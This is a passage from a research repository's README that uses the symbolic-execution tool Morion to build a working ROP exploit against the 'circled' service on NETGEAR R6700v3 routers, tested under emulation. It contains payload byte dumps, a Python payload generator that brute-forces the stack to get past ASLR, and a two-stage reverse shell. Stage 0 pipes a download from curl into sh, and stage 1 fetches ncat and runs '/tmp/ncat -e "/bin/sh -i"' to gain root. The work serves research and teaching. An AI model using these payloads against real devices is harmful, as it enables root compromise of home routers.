[2024-08-21 08:02:39] [DEBG] 	r0: 0xbeffcaa0
[2024-08-21 08:02:39] [DEBG] Mems:
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa0: 0x69
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa1: 0x64
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa2: 0x3e
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa3: 0x2f
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa4: 0x69
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa5: 0x64
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa6: 0x3b
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa7: 0x23
[2024-08-21 08:02:39] [DEBG] 	0xbeffcaa8: 0x00
[2024-08-21 08:02:39] [INFO] ... finished concretizing preconditions of instruction 2 in ROP chain 'default'...
[2024-08-21 08:02:39] [INFO] Start symbolic execution of instruction 2 in ROP chain 'default'...
[2024-08-21 08:02:39] [DEBG] 0x0000c9bc (b7 f2 ff eb): bl #0x94a0                                   # Gadget 1.1
[2024-08-21 08:02:39] [INFO] ... finished symbolic execution of instruction 2 in ROP chain 'default'.
[2024-08-21 08:02:39] [INFO] Start storing file 'circled.yaml'...
[2024-08-21 08:02:41] [INFO] ... finished storing file 'circled.yaml'.
[2024-08-21 08:02:41] [INFO] Start dumping payloads...
Payload [inst:5132][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+0]:
s+0000: 41 41 41 41 41 41 41 41
[...]
s+0360: 41 41 41 41 41 41 41 41
s+0368: a0 ca ff be 42 42 42 42
s+0376: 42 42 42 42 42 42 42 42
s+0384: 42 42 42 42 42 42 42 42
s+0392: b8 c9 00 00
---
Payload [inst:15451][mem][model:fgets@libc(s=0xbeffc914,n=1024,stream=0x21a90)][var:s+0]:
s+0000: 43 43 43 43 43 43 43 43
s+0008: 43 43 43 43 43 43 43 43
[...]
s+0384: 43 43 43 43 43 43 43 43
s+0392: 43 43 43 43 69 64 3e 2f
s+0400: 69 64 3b 23 00
---
[2024-08-21 08:02:41] [INFO] ... finished dumping payloads.

In our specific trace, all symbolic variables are introduced by function fgets, which, if you remember the discussions in Vulnerability: Analysis, is called twice (corresponding to trace instructions 5132 and 15451). For each of these calls, morion_rop_generator returns an individual payload. Since in our case these originate from the same read file (circleinfo.txt), what by the way is also confirmed by the same file stream (0x21a90), we can simply merge the two payloads together to a single one. As before, we added the resulting payload to circled.server.py, which serves it when started with command-line argument --payload "poc2".

[...]
# Serve requests for circleinfo.txt
[...]
elif payload == "poc2":
  p = bytearray([
      0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
      [...]
      0xa0,0xca,0xff,0xbe,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,
      0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0xb8,0xc9,0x00,0x00,0x69,0x64,0x3e,0x2f,
      0x69,0x64,0x3b,0x23,0x00
  ])
[...]

DEMO Exploitation/Analysis_Module_morion_rop_generator/Payload_Generation - Click the image below to watch on YouTube: Demo Video

Run PoC Exploit

Use the following steps to run the binary circled, while it is targeted with the proof-of-concept (PoC) payload:

  1. Start a HTTP server, delivering the PoC payload:
    • System: ARMHF Guest
    • Command:
      python3 ./server/circled.server.py --payload "poc2"
      
  2. Emulate the binary circled with GDB attached (and therefore not using ASRL):
  3. Debug the binary circled:
    • System: Analysis / Host (morion)
    • Command:
      cd morion/                               # Ensure to be within the correct directory
      gdb-multiarch -q -x circled.debug.gdb    # Use GDB for cross-platform remote debugging
      

When using the above steps, we will break at address 0xcf24. We can now validate that our exploit works as intended (here using pwndbg):

    [...]
    ► 0xcf24    pop    {r4, r5, r6, r7, r8, sb, sl, fp, pc}
    [...]

pwndbg> stepi
    [...]
    ► 0xc9b8    mov    r0, r6
      0xc9bc    bl     #system@plt                       <system@plt>
    [...]

pwndbg> x/s $r6
    0xbeffc250:	"id>/id;#"

pwndbg> continue
    [...]

If the PoC exploit worked, you will find a file /id on the emulated router (System: ARMHF Guest (chroot)) with the content uid=0 gid=0(root).

DEMO Exploitation/Analysis_Module_morion_rop_generator/Run_PoC_Exploit - Click the image below to watch on YouTube: Demo Video

Getting a Reverse Shell

With the understanding we gained so far, it is a rather simple task to turn the PoC payload into a more powerful one. In circled.server.py we implemented a two-stage payload (served when using command-line argument --payload "rsh") giving us a reverse shell on the targeted devices.

Stage-0 Payload

We replace the PoC command string id>/id with curl http://127.0.0.1:5000/stage1|sh. This will make the targeted device download and execute the Stage-1 payload from our simulated attacker server. As we will see in section Stage-1 Payload below, the Stage-1 payload comes in the form of a shell script.

[...]
# Serve requests for circleinfo.txt
[...]
elif payload == "rsh":
    cmd = "curl http://127.0.0.1:5000/stage1|sh"
[...]

# Replace spaces in the command (spaces cannot be used due to sscanf(str, "%s %s"))
cmd = "touch$\t/tmp/st0;" + cmd.replace(" ", "\t") + ";#"

# Generate payload
p  = b"A"*368                                   # [   0: 367]
p += cmd_addr.to_bytes(4, "little")             # [ 368: 371] g0_r0_val (stack addr. of OS command)
p += b"B"*20                                    # [ 372: 391]
p += b"\xb8\xc9\x00\x00"                        # [ 392: 395] g0_pc_val (addr. of ROP gadget 1)
max_cmd_len = 1024-len(p)-2-2
p += b"X"*max(0, (max_cmd_len-len(cmd))) + b";" # [ 396:   L] Fill up with an nonexistent command
p += bytes(cmd, "UTF-8")[:max_cmd_len]          # [ L+1:1020] OS command to execute
p += b" X"                                      # String separator: sscanf(str, "%s %s", ...)
print(f"[*] Stage 0 payload: 0x{cmd_addr:08x} '{cmd:s}'")

# Brute force the stack
HttpHandler.cmd_addr = cmd_addr - 0x1000
[...]

Note: circled.server.py also allows to serve payloads executing arbitrary system commands. Due to the usage of sscanf, however, we cannot use spaces in the payload. We therefore replace spaces with tab-characters.

Note: Remember that the NETGEAR R6700v3 routers use partial ASLR, which randomizes the stack. In our exploit strategy we explained that we are going to use stack brute-forcing to defeat this. This is what the last instruction in the above code excerpt is used for. Also note that we prepend our intended system command with an nonexistent command (X...X;) to increase the changes of making the command execute.

Stage-1 Payload

As soon as we defeated ASLR and the Stage-0 payload executes, the routers download and execute the following shell script:

[...]
    def serve_stage1_payload(self) -> bytes:
        payload = b"""#!/bin/sh
        # Download ncat
        curl http://127.0.0.1:5000/stage1/ncat -o /tmp/ncat
        chmod +x /tmp/ncat

        # Run reverse shell
        /tmp/ncat -e "/bin/sh -i" 127.0.0.1 5001
        """
        return payload
[...]

The shell script downloads a precompile version of ncat and uses it to initiate a reverse shell to the simulated attacker server.

Run Final Exploit

Use the following steps to run the binary circled, while it is targeted with the final reverse shell payload:

  1. Start a HTTP server, delivering the reverse shell payload:
    • System: ARMHF Guest
    • Command:
      python3 ./server/circled.server.py --payload "rsh"
      
  2. Start to listen for an inbound TCP connection:
    • System: ARMHF Guest
    • Command:
      ./server/bins/ncat -l -p 5001
      
  3. Emulate the binary circled with GDB attached (and therefore not using ASRL):
  4. Debug the binary circled:
    • System: Analysis / Host (morion)
    • Command:
      cd morion/                               # Ensure to be within the correct directory
      gdb-multiarch -q -x circled.debug.gdb    # Use GDB for cross-platform remote debugging
      

When using the above steps, we will break at address 0xcf24. We can now validate that our exploit works as intended (here using pwndbg):

    [...]
    ► 0xcf24    pop    {r4, r5, r6, r7, r8, sb, sl, fp, pc}
    [...]

pwndbg> stepi
    [...]
    ► 0xc9b8    mov    r0, r6
      0xc9bc    bl     #system@plt                       <system@plt>
    [...]

pwndbg> x/s $r6
0xbeffcc2c:	'X' <repeats 175 times>, ";touch\t/tmp/st0;curl\thttp"...

pwndbg> continue
    [...]

If the final exploit worked, you will receive a reverse shell on the targeted device as root user.

DEMO Exploitation/Getting_a_Reverse_Shell/Run_Final_Exploit/without_ASLR - Click the image below to watch on YouTube: Demo Video

Note: If you want to see how stack brute-forcing performs, run /circled.sh without attaching of the gdbserver, i.e. without the flag --gdb. You will receive the reverse shell, once the correct stack address of the system command has been found.

DEMO Exploitation/Getting_a_Reverse_Shell/Run_Final_Exploit/with_ASLR - Click the image below to watch on YouTube: Demo Video

Conclusion

This repository intended to demonstrate (some of) the current features (and limitations) of the PoC tool Morion and to enable interested readers to replicate all listed steps, fostering independent experimentation with the tool. It aimed to show how symbolic execution might assist in understanding the characteristics of a bug, determine its capabilities to decide whether or not it is exploitable, and if so, support in the process of crafting an exploit.

We showcased the tool on a real-world vulnerability to proof its practicability, however want to emphasize that the shown vulnerability class, stack-based buffer overflows, are well studied and rather easy to exploit. This might not necessarily hold true for other types of vulnerability classes, whose exploitation might sometimes be more of an art than science, and in consequence, are typically more difficult to be addressed by (automated) tools. Also, it is worth mentioning that all of the listed steps towards a working exploit can of course be done without the need of symbolic execution. However we believe that symbolic execution is a powerful technique that, especially if used wisely, can support and simplify (at least) certain tasks.

Morion, but also symbolic execution in more general terms, still have a lot of limitations (scalability, modeling interactions with the environment, etc.), especially when it comes to real-world binaries. Morion is created with the intention to research and better understand these limits.


Back-to-Top